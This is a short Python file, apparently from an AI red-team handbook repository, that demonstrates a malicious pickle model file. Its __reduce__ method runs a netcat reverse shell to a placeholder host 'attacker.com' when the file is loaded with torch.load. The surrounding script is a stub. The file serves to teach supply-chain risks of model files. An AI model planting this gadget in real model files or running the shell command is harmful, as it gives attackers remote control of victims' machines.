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https://github.com/Shiva108/ai-llm-red-team-handbook.git
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shiva108
b3d3bac51f
- Extracted all code examples from handbook chapters - Organized into 15 attack categories - Created shared utilities (api_client, validators, logging, constants) - Added workflow orchestration scripts - Implemented install.sh for easy setup - Renamed all scripts to descriptive functional names - Added comprehensive README and documentation - Included pytest test suite and configuration
36 lines
802 B
Python
36 lines
802 B
Python
#!/usr/bin/env python3
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"""
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44.5.1 The Pickle Exploit
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Source: Chapter_44_Emerging_Threats
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Category: utils
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"""
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import pickle
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import os
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import argparse
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import sys
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class MaliciousModel:
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def __reduce__(self):
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# This command runs when the victim does `torch.load('model.bin')`
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return (os.system, ('nc -e /bin/sh attacker.com 4444',))
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# Generating the payload
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# payload = pickle.dumps(MaliciousModel())
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# with open('pytorch_model.bin', 'wb') as f:
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# f.write(payload)
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def main():
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"""Command-line interface."""
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parser = argparse.ArgumentParser(description=__doc__)
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parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
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args = parser.parse_args()
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# TODO: Add main execution logic
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pass
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if __name__ == "__main__":
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main() |